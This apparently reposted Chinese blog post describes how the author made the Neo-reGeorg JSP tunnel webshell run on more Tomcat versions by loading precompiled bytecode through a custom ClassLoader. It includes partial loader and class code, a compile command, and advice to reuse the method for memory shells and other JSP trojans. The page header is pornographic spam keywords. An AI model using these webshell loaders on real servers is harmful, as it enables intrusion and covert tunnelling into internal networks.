黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標(biāo)簽
我們會(huì)為你匹配適合你的網(wǎng)址導(dǎo)航

    確認(rèn) 跳過

    跳過將刪除所有初始化信息

    通過加載class提高Neo-reGeorg兼容性

    安全 2021-11-25 05:46

    聲明:該文章來自(回憶如飄雪)版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁加速服務(wù)。

    0x01 背景

    一大早就看到L-codes師傅發(fā)消息說,Neo-reGeorg jsp服務(wù)端又出現(xiàn)問題了,印象里已經(jīng)不是一兩次了。大部分都是兼容性問題,這次也不例外。

    在tomcat 5.5.9下的報(bào)錯(cuò)

    是時(shí)候設(shè)計(jì)一個(gè)一勞永逸的方案了。


    0x02 分析原因

    我們知道jsp從被訪問到運(yùn)行,經(jīng)歷如下階段。

    jsp執(zhí)行流程

    本案例中發(fā)現(xiàn)tomcat work目錄下已經(jīng)存在了tunnel_jsp.java,但是沒有tunnel_jsp.class,說明階段1已經(jīng)過。結(jié)合頁面報(bào)錯(cuò)信息,在2階段時(shí)Tomcat內(nèi)置的編譯器JDTCompiler,編譯報(bào)錯(cuò)了。

    檢查tunnel_jsp.java代碼并沒有語法錯(cuò)誤,嘗試使用javac編譯,編譯成功!看來JDTCompiler與javac實(shí)現(xiàn)邏輯并不同,而且沒有javac強(qiáng)大。

    javac可以編譯通過

    編譯成功之后我再訪問tunnel.jsp頁面不再報(bào)錯(cuò)了??梢娞岣咭粋€(gè).jsp的兼容,無非就是讓它在各個(gè)中間件下成功變成一個(gè).class。而這個(gè)過程與具體中間件的jsp轉(zhuǎn)換器的解析機(jī)制,java編譯器的編譯機(jī)制和servlet-api的版本息息相關(guān)。

    那么我們是不是可以把Neo-reGeorg的服務(wù)端代碼提取變成class字節(jié)碼,然后jsp來加載和調(diào)用,來提高這個(gè)過程的成功率呢?。總之核心思想就是把盡可能多的業(yè)務(wù)邏輯變成最終可運(yùn)行的java字節(jié)碼,同時(shí)盡可能的減少jsp代碼,少用api少用語法糖少用特性。


    0x03 編碼實(shí)現(xiàn)

    我們先來移植服務(wù)端模版代碼為java代碼。直接新建一個(gè)NeoreGeorg.java,將jsp中的方法直接copy,主體代碼的移植需要注意2個(gè)問題。

    第一、參數(shù)提煉問題。我們需要把模版變化的地方,提取出來作為參數(shù),比如X-CMD這樣的指令,POST request read filed這樣的提示,Neo-reGorg需要通過隨機(jī)替換它們實(shí)現(xiàn)流量加密。

    第二、參數(shù)傳遞問題。參數(shù)可以通過構(gòu)造方法或者自定義方法傳遞進(jìn)來,但是這樣要多寫些反射代碼。本著jsp代碼越少越好原則,使用每個(gè)類都有的equal(java.lang.Object)方法。

    // https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java

    public class NeoreGeorg {
        private char[] en;
        private  byte[] de;
        private int HTTPCODE;
        private int READBUF;
        private int MAXREADSIZE;
    
        @Override
        public boolean equals(Object obj) {
                // 接收參數(shù)
                Object[] args = (Object[]) obj;
                HttpServletRequest request = (HttpServletRequest) args[0];
                HttpServletResponse response = (HttpServletResponse) args[1];
                en = (char[])args[2];
                de = (byte[])args[3];
                HTTPCODE = (Integer) args[4];
                READBUF = (Integer) args[5];
                MAXREADSIZE = (Integer) args[6];
    
                ServletContext application = request.getSession().getServletContext();
                Writer out = response.getWriter();
                ......
                
                // Neo-reGorg主要流程代碼。
       }
       
       ....
       //其他方法照抄
       ....
    }
    

    為了兼容更多的jdk版本我們這里選擇使用1.5編譯,同時(shí)為了class體積更小,可以使用-g:none去掉調(diào)試信息。

    1
    javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java
    

    jsp部分很簡(jiǎn)單,定義一個(gè)classloader用于加載class,然后將該class newInstance進(jìn)行調(diào)用。有二個(gè)點(diǎn)可以簡(jiǎn)單講講。

    第一,class字節(jié)碼的存儲(chǔ)方式問題。本著少用api的原則,我直接用byte數(shù)組存儲(chǔ)。當(dāng)然如果字節(jié)碼太多,可能會(huì)有The code of method _jspService(...) is exceeding the 65535 bytes limit報(bào)錯(cuò)問題,推薦用hex編碼解決。

    第二,全局存儲(chǔ)class對(duì)象問題。推薦使用application對(duì)象,而不是session對(duì)象進(jìn)行存儲(chǔ),否則遇到負(fù)載的情況就麻煩了。

    // https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp
    <%@ page import="sun.misc.BASE64Decoder" %>
    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
    
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
    %>
    
    <%
        Object[] args = new Object[]{
                request, //0
                response, //1
                "BASE64 CHARSLIST".toCharArray(), //2
                new byte[]{BASE64 ARRAYLIST},//3
                new Integer(HTTPCODE),//4
                new Integer(READBUF),//5
                new Integer(MAXREADSIZE),//6
                "X-STATUS",//7
                "X-ERROR",//8
                "X-CMD",//9
                "X-TARGET",//10
                "X-REDIRECTURL",//11
                "FAIL",//12
                "Georg says, 'All seems fine'",//13
                "Failed creating socket",//14
                "Failed connecting to target",//15
                "OK",//16
                "Failed writing socket",//17
                "CONNECT",//18
                "DISCONNECT",//19
                "READ",//20
                "FORWARD",//21
                "Failed reading from socket",//22
                "No more running, close now",//23
                "POST request read filed",//24
                "Intranet forwarding failed"//25
        };
    
    
        if(application.getAttribute("u") != null){
            application.getAttribute("u").equals(args);
        }else{
            byte[] classBytes = new byte[]{.....} // NeoreGeorg.class字節(jié)碼
            Class clazz = new U(this.getClass().getClassLoader()).g(classBytes);
            application.setAttribute("u",clazz.newInstance());
        }
    %>
    

    經(jīng)過測(cè)試在各個(gè)中間件下穩(wěn)定運(yùn)行,順手給L-codes師傅一個(gè)pr


    0x04 總結(jié)

    其實(shí)這個(gè)方法可以使用很多jsp腳本的改造,比如內(nèi)存馬注入jsp,jsp大馬,蟻劍一句話木馬等等。大家可以照貓畫虎,自行修改。


    關(guān)注我們

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/

    圖庫